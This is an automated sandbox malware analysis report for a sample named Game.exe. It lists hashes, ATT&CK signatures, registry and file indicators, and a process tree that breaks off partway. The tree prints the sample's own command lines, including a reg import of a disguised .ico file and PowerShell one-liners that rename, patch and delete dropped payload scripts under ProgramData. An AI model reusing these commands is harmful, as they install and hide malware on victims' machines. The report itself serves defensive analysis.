0168fb5df2839eb85282afb39d1f5c73e4319eaa141d9592122511f73037ec06

Analysis

max time kernel
149s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/10/2026, 21:56

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Game.exe
Size 4.4MB
Sample261024-1tqdqaxtbw
SHA256 0168fb5df2839eb85282afb39d1f5c73e4319eaa141d9592122511f73037ec06
MD5 617b560ff5b82a7ef6953c0da35f2aea
SHA1 ad9a1f0501d9294073ac19abba418438db6fbc4b
SHA512 1fac562fe3beeaeb803a4861814a3e2f05ac71dd53ac28891de8fd9cbfe6c8e3b31e7073ad74dc033e21880b9f1f25f133e3c6d8d86d1f1faae4d50667a40487
SSDEEP 98304:qr9eoj1s5PvP3c0k3toUhQ+QeYeiFf9sJZR6qAXKp:qrQK1S3dk3tpQ+QeYeiOZC6p
TLSH
T15C26339C14E8CA2FEACF0F3834B89B54C7C7CD54A518ABCFA06C7853753521B10AAB65
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3668	powershell.exe
5988	powershell.exe
5764	powershell.exe
4628	powershell.exe
4192	powershell.exe
4380	powershell.exe
2568	powershell.exe

Deletes itself 1 TTPs 1 IoCs

defense_evasion

File Deletion

T1070.004

pid	Process
5348	Game_patch-run.exe

Executes dropped EXE 2 IoCs

pid	Process
5348	Game_patch-run.exe
2352	Game.exe

Loads dropped DLL 1 IoCs

pid	Process
5348	Game_patch-run.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\kn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\vi\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\te\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\lo\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\fi\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_2079440186\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\hy\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\th\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\gu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\zh_CN\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\nl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\sk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\mn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\dasherSettingSchema.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\128.png	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\or\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\is\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\gl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\ru\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_1258719843\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_1553385963\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\msedge_url_fetcher_4552_1585608936\GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_111_1_0.crx	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\am\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\de\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\az\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\mk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\mr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\zh_HK\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\ja\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\cs\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\sr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\page_embed_script.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\pt_BR\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\ta\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\hr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\id\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\bn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\ms\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\es\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_2079440186\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_1553385963\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\offscreendocument_main.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\fa\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\km\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\en_US\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\fil\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\ne\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\be\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_1553385963\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\ko\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\lt\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\iw\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\ro\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\uk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\en_GB\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\lv\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\offscreendocument.html	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\en\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\my\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_1258719843\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\da\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\es_419\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4552_600321073\_locales\af\messages.json	msedge.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
4856	powershell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4844	cmd.exe
252	cmd.exe
1540	cmd.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2528	2352	WerFault.exe	91

System Location Discovery: System Language Discovery 1 TTPs 16 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Game.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Game.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Game_patch-run.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
768	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2714045687-1127350534-2056456672-1000\{6A02F77B-5CAA-4B53-8409-791C641E93CA}	msedge.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
5764	powershell.exe
5764	powershell.exe
4628	powershell.exe
4628	powershell.exe
3668	powershell.exe
3668	powershell.exe
4856	powershell.exe
4856	powershell.exe
4192	powershell.exe
4192	powershell.exe
5988	powershell.exe
5988	powershell.exe
4380	powershell.exe
4380	powershell.exe
2568	powershell.exe
2568	powershell.exe
2568	powershell.exe
2568	powershell.exe
2568	powershell.exe
2568	powershell.exe
2568	powershell.exe
2568	powershell.exe
2568	powershell.exe
1076	msedge.exe
1076	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5764	powershell.exe
Token: SeDebugPrivilege	4628	powershell.exe
Token: SeDebugPrivilege	3668	powershell.exe
Token: SeDebugPrivilege	4856	powershell.exe
Token: SeDebugPrivilege	4192	powershell.exe
Token: SeDebugPrivilege	5988	powershell.exe
Token: SeDebugPrivilege	4380	powershell.exe
Token: SeIncreaseQuotaPrivilege	4380	powershell.exe
Token: SeSecurityPrivilege	4380	powershell.exe
Token: SeTakeOwnershipPrivilege	4380	powershell.exe
Token: SeLoadDriverPrivilege	4380	powershell.exe
Token: SeSystemProfilePrivilege	4380	powershell.exe
Token: SeSystemtimePrivilege	4380	powershell.exe
Token: SeProfSingleProcessPrivilege	4380	powershell.exe
Token: SeIncBasePriorityPrivilege	4380	powershell.exe
Token: SeCreatePagefilePrivilege	4380	powershell.exe
Token: SeBackupPrivilege	4380	powershell.exe
Token: SeRestorePrivilege	4380	powershell.exe
Token: SeShutdownPrivilege	4380	powershell.exe
Token: SeDebugPrivilege	4380	powershell.exe
Token: SeSystemEnvironmentPrivilege	4380	powershell.exe
Token: SeRemoteShutdownPrivilege	4380	powershell.exe
Token: SeUndockPrivilege	4380	powershell.exe
Token: SeManageVolumePrivilege	4380	powershell.exe
Token: 33	4380	powershell.exe
Token: 34	4380	powershell.exe
Token: 35	4380	powershell.exe
Token: 36	4380	powershell.exe
Token: SeIncreaseQuotaPrivilege	4380	powershell.exe
Token: SeSecurityPrivilege	4380	powershell.exe
Token: SeTakeOwnershipPrivilege	4380	powershell.exe
Token: SeLoadDriverPrivilege	4380	powershell.exe
Token: SeSystemProfilePrivilege	4380	powershell.exe
Token: SeSystemtimePrivilege	4380	powershell.exe
Token: SeProfSingleProcessPrivilege	4380	powershell.exe
Token: SeIncBasePriorityPrivilege	4380	powershell.exe
Token: SeCreatePagefilePrivilege	4380	powershell.exe
Token: SeBackupPrivilege	4380	powershell.exe
Token: SeRestorePrivilege	4380	powershell.exe
Token: SeShutdownPrivilege	4380	powershell.exe
Token: SeDebugPrivilege	4380	powershell.exe
Token: SeSystemEnvironmentPrivilege	4380	powershell.exe
Token: SeRemoteShutdownPrivilege	4380	powershell.exe
Token: SeUndockPrivilege	4380	powershell.exe
Token: SeManageVolumePrivilege	4380	powershell.exe
Token: 33	4380	powershell.exe
Token: 34	4380	powershell.exe
Token: 35	4380	powershell.exe
Token: 36	4380	powershell.exe
Token: SeIncreaseQuotaPrivilege	4380	powershell.exe
Token: SeSecurityPrivilege	4380	powershell.exe
Token: SeTakeOwnershipPrivilege	4380	powershell.exe
Token: SeLoadDriverPrivilege	4380	powershell.exe
Token: SeSystemProfilePrivilege	4380	powershell.exe
Token: SeSystemtimePrivilege	4380	powershell.exe
Token: SeProfSingleProcessPrivilege	4380	powershell.exe
Token: SeIncBasePriorityPrivilege	4380	powershell.exe
Token: SeCreatePagefilePrivilege	4380	powershell.exe
Token: SeBackupPrivilege	4380	powershell.exe
Token: SeRestorePrivilege	4380	powershell.exe
Token: SeShutdownPrivilege	4380	powershell.exe
Token: SeDebugPrivilege	4380	powershell.exe
Token: SeSystemEnvironmentPrivilege	4380	powershell.exe
Token: SeRemoteShutdownPrivilege	4380	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4552	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5968 wrote to memory of 5348	5968	Game.exe	90
PID 5348 wrote to memory of 2352	5348	Game_patch-run.exe	91
PID 5348 wrote to memory of 4844	5348	Game_patch-run.exe	95
PID 4844 wrote to memory of 252	4844	cmd.exe	97
PID 252 wrote to memory of 5764	252	cmd.exe	98
PID 4844 wrote to memory of 4628	4844	cmd.exe	99
PID 4844 wrote to memory of 1552	4844	cmd.exe	100
PID 4844 wrote to memory of 3668	4844	cmd.exe	101
PID 4844 wrote to memory of 4856	4844	cmd.exe	102
PID 4844 wrote to memory of 1540	4844	cmd.exe	103
PID 1540 wrote to memory of 4192	1540	cmd.exe	104
PID 4844 wrote to memory of 5988	4844	cmd.exe	105
PID 4844 wrote to memory of 4380	4844	cmd.exe	106
PID 4844 wrote to memory of 4760	4844	cmd.exe	108
PID 4844 wrote to memory of 2568	4844	cmd.exe	109
PID 4844 wrote to memory of 4552	4844	cmd.exe	110
PID 4552 wrote to memory of 792	4552	msedge.exe	111
PID 4552 wrote to memory of 768	4552	msedge.exe	113
PID 4552 wrote to memory of 2520	4552	msedge.exe	114
PID 4552 wrote to memory of 2520	4552	msedge.exe	114
PID 4552 wrote to memory of 2520	4552	msedge.exe	114
PID 4552 wrote to memory of 2464	4552	msedge.exe	115
PID 4552 wrote to memory of 2464	4552	msedge.exe	115
PID 4552 wrote to memory of 4244	4552	msedge.exe	116
PID 4552 wrote to memory of 1404	4552	msedge.exe	117
PID 4552 wrote to memory of 4244	4552	msedge.exe	116
PID 4552 wrote to memory of 4244	4552	msedge.exe	116
PID 4552 wrote to memory of 1404	4552	msedge.exe	117
PID 4552 wrote to memory of 1404	4552	msedge.exe	117
PID 4552 wrote to memory of 3204	4552	msedge.exe	118
PID 4552 wrote to memory of 3204	4552	msedge.exe	118
PID 4552 wrote to memory of 3204	4552	msedge.exe	118
PID 4552 wrote to memory of 4728	4552	msedge.exe	119
PID 4552 wrote to memory of 4728	4552	msedge.exe	119
PID 4552 wrote to memory of 4728	4552	msedge.exe	119
PID 4552 wrote to memory of 1748	4552	msedge.exe	120
PID 4552 wrote to memory of 1748	4552	msedge.exe	120
PID 4552 wrote to memory of 5536	4552	msedge.exe	123
PID 4552 wrote to memory of 5536	4552	msedge.exe	123
PID 4552 wrote to memory of 3464	4552	msedge.exe	124
PID 4552 wrote to memory of 3464	4552	msedge.exe	124
PID 4552 wrote to memory of 2832	4552	msedge.exe	126
PID 4552 wrote to memory of 1400	4552	msedge.exe	128
PID 4552 wrote to memory of 1400	4552	msedge.exe	128
PID 4552 wrote to memory of 5472	4552	msedge.exe	127
PID 4552 wrote to memory of 5472	4552	msedge.exe	127
PID 4552 wrote to memory of 260	4552	msedge.exe	132
PID 4552 wrote to memory of 260	4552	msedge.exe	132
PID 4552 wrote to memory of 3364	4552	msedge.exe	133
PID 4552 wrote to memory of 3364	4552	msedge.exe	133
PID 4552 wrote to memory of 1104	4552	msedge.exe	134
PID 4552 wrote to memory of 3428	4552	msedge.exe	135
PID 4552 wrote to memory of 2892	4552	msedge.exe	136
PID 4552 wrote to memory of 6024	4552	msedge.exe	137
PID 4552 wrote to memory of 6024	4552	msedge.exe	137
PID 4552 wrote to memory of 4824	4552	msedge.exe	140
PID 4552 wrote to memory of 4824	4552	msedge.exe	140
PID 4552 wrote to memory of 4076	4552	msedge.exe	141
PID 4552 wrote to memory of 4076	4552	msedge.exe	141
PID 4552 wrote to memory of 2668	4552	msedge.exe	142
PID 4552 wrote to memory of 2668	4552	msedge.exe	142
PID 4552 wrote to memory of 2476	4552	msedge.exe	143
PID 4552 wrote to memory of 2476	4552	msedge.exe	143
PID 4552 wrote to memory of 1076	4552	msedge.exe	144

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4760	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Game.exe
"C:\Users\Admin\AppData\Local\Temp\Game.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5968
- C:\Users\Admin\AppData\Local\Temp\Game_patch-run.exe
  "C:\Users\Admin\AppData\Local\Temp\Game_patch-run.exe" C:\Users\Admin\AppData\Local\Temp
  2⤵
  - Deletes itself
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5348
- - C:\Users\Admin\AppData\Local\Temp\Game.exe
    "C:\Users\Admin\AppData\Local\Temp\Game.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2352
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2352 -s 896
      4⤵
      Program crash
      PID:2528
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tidy.bat" "C:\Users\Admin\AppData\Local\Temp\Game_patch-run.exe" "attrib" "HKEY_LOCAL_MACHINE\SOFTWARE\\" "ADHWWZ" "S13SPB2Z_2026-10" "Game_patch-run.exe" "Windows Registry Editor" "scheduledtask" "HKEY_CURRENT_USER\SOFTWARE\\""
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4844
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -NoProfile -Command "$set = 'abcdefghijklmnopqrstuvwxyz'; -join ((1..30 | ForEach-Object { $set[(Get-Random -Maximum $set.Length)] }))"
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:252
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$set = 'abcdefghijklmnopqrstuvwxyz'; -join ((1..30 | ForEach-Object { $set[(Get-Random -Maximum $set.Length)] }))"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5764
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "(Get-Content -LiteralPath \"C:\Users\Admin\AppData\Local\Temp\temp_cleanup.ico\").Replace('{HKS}', '"HKEY_LOCAL_MACHINE\SOFTWARE\\"').Replace('{WRE}', '"Windows Registry Editor"').Replace('{HKU}', '"HKEY_CURRENT_USER\SOFTWARE\\"') | Set-Content -LiteralPath \"C:\Users\Admin\AppData\Local\Temp\temp_cleanup.ico\""
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4628
  - - C:\Windows\SysWOW64\reg.exe
      reg.exe import C:\Users\Admin\AppData\Local\Temp\temp_cleanup.ico /reg:64
      4⤵
      System Location Discovery: System Language Discovery
      PID:1552
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "foreach ($item in @(\"$env:PROGRAMDATA\DiagnosticsNET\configuration.ps1\", \"$env:PROGRAMDATA\DiagnosticsNET\update.vbs\", \"$env:PROGRAMDATA\DiagnosticsNET\updater.vbs\", \"$env:PROGRAMDATA\DiagnosticsNET\cache.ps1\", \"$env:PROGRAMDATA\Features\update.ps1\", \"$env:PROGRAMDATA\UpdatesWin\update.ps1\", \"$env:PROGRAMDATA\UpdatesWin\updater.ps1\", \"$env:PROGRAMDATA\SdkWin\update.ps1\", \"$env:PROGRAMDATA\SdkWin\updater.vbs\", \"$env:PROGRAMDATA\GameSavings\Windows\win_libraries\updater.ps1\", \"$env:PROGRAMDATA\GameSavings\Windows\win_libraries\update.vbs\")) { if (Test-Path -LiteralPath $item) { Remove-Item -LiteralPath $item -Force } }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3668
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "$ErrorActionPreference = 'SilentlyContinue'; "$paths = @{ \"$env:PROGRAMDATA\Features\x\" = 'klpvslzyybjejlcephzasdzuoxvygdx'; \"$env:PROGRAMDATA\Features\update.tmp\" = 'update.ps1'; \"$env:PROGRAMDATA\DiagnosticsNET\configuration.tmp\" = 'configuration.ps1'; \"$env:PROGRAMDATA\DiagnosticsNET\update.tmp\" = 'update.vbs'; \"$env:PROGRAMDATA\UpdatesWin\update.tmp\" = 'update.ps1'; \"$env:PROGRAMDATA\UpdatesWin\updater.tmp\" = 'updater.ps1'; \"$env:PROGRAMDATA\SdkWin\update.tmp\" = 'update.ps1'; \"$env:PROGRAMDATA\SdkWin\updater.tmp\" = 'updater.vbs'; \"$env:PROGRAMDATA\GameSavings\Windows\win_libraries\updater.tmp\" = 'updater.ps1'; \"$env:PROGRAMDATA\GameSavings\Windows\win_libraries\update.tmp\" = 'update.vbs'; \"$env:PROGRAMDATA\WinPackages\update.tmp\" = 'update.vbs'; \"$env:PROGRAMDATA\WinPackages\updater.tmp\" = 'updater.ps1' }; foreach ($src in $paths.Keys) { if (Test-Path -LiteralPath $src) { Rename-Item -LiteralPath $src -NewName $paths[$src] } }"
      4⤵
      Hide Artifacts: Ignore Process Interrupts
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4856
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -command "gp 'HKCU:\Control Panel\International\Geo\' | select -exp Name"
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1540
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "gp 'HKCU:\Control Panel\International\Geo\' | select -exp Name"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4192
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "(Get-Content -LiteralPath \"$env:PROGRAMDATA\DiagnosticsNET\configuration.ps1\") -replace '{flPQ}', 'a62h81hab8329ja' -replace '{testD1}', 'DiagnosticsNET\win64\network_agent.dll' -replace '{testD2}', 'DiagnosticsNET\win32\network_agent.dll' | Set-Content -LiteralPath \"$env:PROGRAMDATA\DiagnosticsNET\configuration.ps1\"; (Get-Content -LiteralPath \"$env:PROGRAMDATA\WinPackages\updater.ps1\") -replace '{randomzt}', 'US' -replace '{randomui}', 'klpvslzyybjejlcephzasdzuoxvygdx' | Set-Content -LiteralPath \"$env:PROGRAMDATA\WinPackages\updater.ps1\"; (Get-Content -LiteralPath \"$env:PROGRAMDATA\SdkWin\update.ps1\") -replace '{randomkey}', '1eJctR5LdYdNRycM' -replace '{randomtest1}', 'SdkWin\C#(.NET)\4.5\net_diagn.dll' -replace '{randomtest2}', 'SdkWin\C#(.NET)\9.0\net_diagn.dll' | Set-Content -LiteralPath \"$env:PROGRAMDATA\SdkWin\update.ps1\"; (Get-Content -LiteralPath \"$env:PROGRAMDATA\GameSavings\Windows\win_libraries\updater.ps1\") -replace '{liveTest}', 'a50caac3a2e33afe425060c1de16ff24' -replace '{testL1}', '64\dll\aplt.dll' -replace '{testL2}', '32\dll\aplt.dll' | Set-Content -LiteralPath \"$env:PROGRAMDATA\GameSavings\Windows\win_libraries\updater.ps1\""
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5988
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
